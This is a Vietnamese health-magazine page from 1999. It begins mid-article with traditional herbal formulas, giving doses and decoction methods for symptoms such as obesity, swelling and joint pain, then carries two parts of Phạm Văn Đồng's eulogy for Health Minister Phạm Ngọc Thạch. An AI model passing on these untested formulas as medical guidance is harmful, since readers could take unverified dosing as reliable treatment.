Thành phần: sài hồ 15g, thược dược 9g, chí thựu 4 quả, hoàng cầm 9g, bán hạ chế 4g, đại hoàng 6g, sinh khương 10g, đại táo 5 quả.
Cách dùng: tất cả làm thành một thang. Cho ba bát nước sắc còn một bát, sắc 3 lần, uống 2 ngày một thang.
Bài 3: Thường dùng cho phụ nữ, đặc biệt là phụ nữ nhàn rỗi. Biểu hiện người mập phì, da trắng, nhợt nhạt, kém sắc. Số người này ra nhiều mồ hôi, dễ mệt mỏi, thân thể nặng nề, tiểu tiện ít, có khi chân phù thũng, có khi đau khớp gối, mạch nổi mà yếu, cơ bụng rệu rã, mặt lưỡi ướt, rêu lưỡi mỏng.
Thành phần: phòng kỷ 100g, hoàng kỳ 100g, bạch truật 70g, cam thảo 50g.
Cách dùng: tất cả tán thô, trộn đều, mỗi lần uống lấy 20g sắc với 4 lát gừng tươi và một quả đại táo, chất nước uống lúc thuốc còn ấm.
Khánh Linh – Sức khỏe & Đời sống/ Bộ Y tế – Hà Nội – số 18(831) – Năm 1999

Điếu văn của thủ tướng Phạm Văn Đồng – Phần 2

Người chiến sĩ cách mạng đó là một người thầy thuốc và một người nghiên cứu khoa học. Đứng trước rất nhiều vấn đề khó khăn và phức tạp của việc bảo vệ sức khỏe của nhân dân và đồng đội, đồng chí Phạm Ngọc Thạch thấm nhuần những tư tưởng và tình cảm lớn của Đảng, phát huy sức mạnh vĩ đại của quần chúng, đã cố gắng giải quyết những vấn đề đó một cách cơ bản, có hiệu quả và kịp thời có khả năng và phương tiện hiện có của chúng ta. Đồng chí Phạm Ngọc Thạch đã xuất phát từ sinh lý người Việt Nam ta, từ bao đời sống, lao động và chiến đấu trên đất nước ta, quen thuộc với thiên nhiên nước ta và đã chứng tỏ sức sống mãnh liệt của mình trải qua biết bao thử thách; đồng chí đã nhìn thấy tất cả những bệnh tật hiểm nghèo, di sản của chế độ phong kiến và thực dân cần thanh toán nhanh chóng và tận gốc; đồng chí đã tìm tòi và ra sức phát huy vốn cổ truyền rất quý của dân tộc về y và dược; đồng chí đã cố gắng vận dụng những hiểu biết, những thành tựu mới nhất của y học thế giới, của y học các nước xã hội chủ nghĩa cũng như y học các nước khác. Trong toàn bộ hoạt động của mình, đồng chí Phạm Ngọc Thạch đã nêu một tấm gương về cách nhìn, cách nghĩ nghiên cứu để giải quyết một cách sáng tạo và độc đáo những vấn đề khó khăn và phức tạp của việc thanh toán những bệnh tật do chế độ cũ để lại, tỏng việc vệ sinh phòng bệnh và bảo vệ sức khỏe của nhân dân; đồng chí đã thành công trong nhiều công trình nghiên cứu quan trọng.
Đồng thời, đồng chí Phạm Ngọc Thạch là một người biết tổ chức, và tổ chức là thể hiện thắng lợi của nhân dân và của chế độ xã hội chủ nghĩa trên mặt trận y tế. Cùng tập thể lãnh đạo của bộ và đông đảo cán bộ nhân viên trong ngành, đồng chí Phạm Ngọc Thạch đã tổ chức các cuộc tiêm chủng nhằm bài trừ và phòng ngừa các bệnh tật, di sản của thời trước; tổ chức các phong trào “vệ sinh yêu nước” rộng khắp mọi nơi ở miền Bắc nước ta; tổ chức mạng lưới y tế từ trung ương cho đến họp tác xã, khu phố, xí nghiệp và mạng lưới cứu thương rất có hiệu quả trong cuộc chiến tranh nhân dân chống xâm lược Mỹ; tổ chức cuộc vận động bảo vệ bà mẹ và trẻ em với những thành tích tốt đẹp ngay trong thời chiến; tổ chức việc đào tạo và không ngừng bồi dưỡng về mọi mặt đội ngũ cán bộ y tế đủ sức giải quyết những vấn đề quan trọng nhất và cấp bách nhất của việc bảo vệ sức khỏe cho nhân dân và lực lượng vũ trang của nhân dân trong cuộc chiến tranh chống mọi loại chiến tranh cực dã man, tàn bạo của đế quốc Mỹ. 
P.V – Sức khỏe & Đời sống/ Bộ Y tế – Hà Nội – số 18(831) – Năm 1999

Điếu văn của thủ tướng Phạm Văn Đồng – Phần 1

(Đọc tại Hà Nội trong lễ truy điệu cố bộ trưởng Phạm Ngọc Thạch hy sinh tại chiến trường miền Nam 1968)
Thưa các đồng chí và các bạn thân mến,
Hôm nay, chúng ta hội họp đầy đủ ở đây để bày tỏ lòng thương tiếc vô hạn của chúng ta, của Đảng và của chính phủ ta, của nhân dân ta đối với đồng chí Phạm Ngọc Thạch, người anh em, người bạn chiến đấu thân yêu của chúng ta.
Bác sĩ Phạm Ngọc Thạch, bộ trưởng bộ y tế của nước Việt Nam dân chủ cộng hòa, anh hùng lao động, là một chiến sĩ kiên cường của sự nghiệp cách mạng, của Đảng và của dân tộc ta, anh dũng, thông minh, giàu năng lực tổ chức và tính sáng tạo. Là một người tri thức giác ngộ cách mạng và tham gia hàng ngũ của Đảng từ hơn hai mươi năm nay, đồng chí Phạm Ngọc Thạch đã hiến dâng cả cuộc đời mình, tất cả tâm trí và tài năng của mình cho cuộc đấu tranh giải phóng dân tộc và lý tưởng xã hội chủ nghĩa và đã hy sinh chiến đấu đến hơi thở cuối cùng ngay tại tiền tuyến chống Mỹ, cứu nước. Quán triệt quan điểm của Đảng: Cách mạng là sự nghiệp của quần chúng, trong toàn bộ hoạt động của mình, chủ yếu trong lĩnh vực bảo vệ sức khỏe của ,đồng bào và chiến sĩ, đồng chí đã đi rất nhiều nơi trên đất nước ta, nhất là những nơi có bệnh tật cần cứu chữa và phòng ngừa, những nơi chiến tranh ác liệt, để cùng quần chúng phát hiện vấn đề và từng bước giải quyết vấn đề. Từ sáng sớm cho đến khuya và ngày nào cũng vậy, đồng chí làm việc quên mình, sống đời sống của quần chúng và của anh chị em ở một bệnh viện, một trạm y tế xã, một đơn vị cứu thương, ăn khẩu phần thời chiến của mọi người, không hề sợ gian khổ, hy sinh dưới bom đạn của quân thù, hoặc bên cạnh người bệnh, luôn luôn hăng say và tận tụy với công việc, khiêm tốn, giản dị, dũng cảm, vô tư không đòi hỏi gì cho mình, cũng không đòi hỏi gì quá đáng cho ngành mình.
P.V – Sức khỏe & Đời sống/ Bộ Y tế – Hà Nội – số 18(831) – Năm 1999